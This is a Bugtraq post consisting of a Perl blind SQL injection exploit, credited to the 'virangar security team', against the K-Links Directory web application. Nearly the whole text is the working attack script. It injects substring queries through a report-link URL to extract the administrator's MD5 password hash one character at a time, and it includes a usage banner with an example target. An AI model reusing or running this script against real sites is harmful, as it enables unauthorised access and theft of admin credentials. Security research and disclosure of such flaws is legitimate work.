Bugtraq: K-Links Directory Blind SQL Injection Exploit

[hadihadi_zedehal_2006 () yahoo com]

#!/usr/bin/perl 
###########################################################################
# K-Links Directory Blind SQL Injection Exploit                           #
#                           ..::virangar security team::..                #
#                              www.virangar.net                           #
#           C0d3d BY:virangar security team ( hadihadi  )                 #
#special tnx to:                                                          #
#MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra                           #
#& all virangar members & all hackerz                                     #
# my lovely friends hadi_aryaie2004 & arash(imm02tal)                     #
#             ..:::Young Iranina Hackerz::..                              #
###########################################################################


use HTTP::Request;
use LWP::UserAgent;

if (@ARGV != 2){
header();
}

$host = $ARGV[0];
$mod=$ARGV[1];
if($mod==1){
$tbl="tbl_admin";
$col="upass";
}
elsif($mod==2){
$tbl="platinum_admins";
$col="a_apss";
}
else{
print "\nyour option not true\n";
exit;
}

print "\n md5 Password:\r\n";
&halghe();
print "\n[+]Done\n";


sub halghe {
for($i = 1; $i <= 32; $i++){
 $f = 0;
 $n = 48;
 while(!$f && $n <= 57)
 {
  if(&inject($host ,$tbl ,$col ,$i, $n,)){
 $f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}
if(!$f){ 
$n=97;
while(!$f && $n <= 102)
 {
  if(&inject($host ,$tbl ,$col ,$i, $n,)){
 $f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}}
}
}
sub inject {
my $site = $_[0];
my $tl = $_[1];
my $cl = $_[2];
my $a = $_[3];
my $b = $_[4];


$attack= "$site"."%20and%20substring((select%20"."$cl"."%20from%20$tl%20limit%200,1),"."$a".",1)=char("."$b".")/*";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $b->request(HTTP::Request->new(GET=>$attack));
$res = $req->content;

if ($res !~ m/You have an error in your SQL syntax;/i and $res !~ m/Table.*doesn't exist/i ){
    return 1;
}

}
sub header {
print qq{
###################################################################
# K-Links Directory  Blind SQL Injection Exploit                  #
#                      www.virangar.net                           #
#   Useage: perl $0 Host  option                                  #
#    option: 1   [table=tbl_admin & column=upass]                 #
#            2   [table=platinum_admins & column=a_pass]          #
#                                                                 #
#   Host: full patch to Report Link+id (dont forget http://)      #
#                                                                 #
#  Example:                                                       #
# perl $0 http://site.com/report/1 2                              #
#                                                                 #
###################################################################
};
}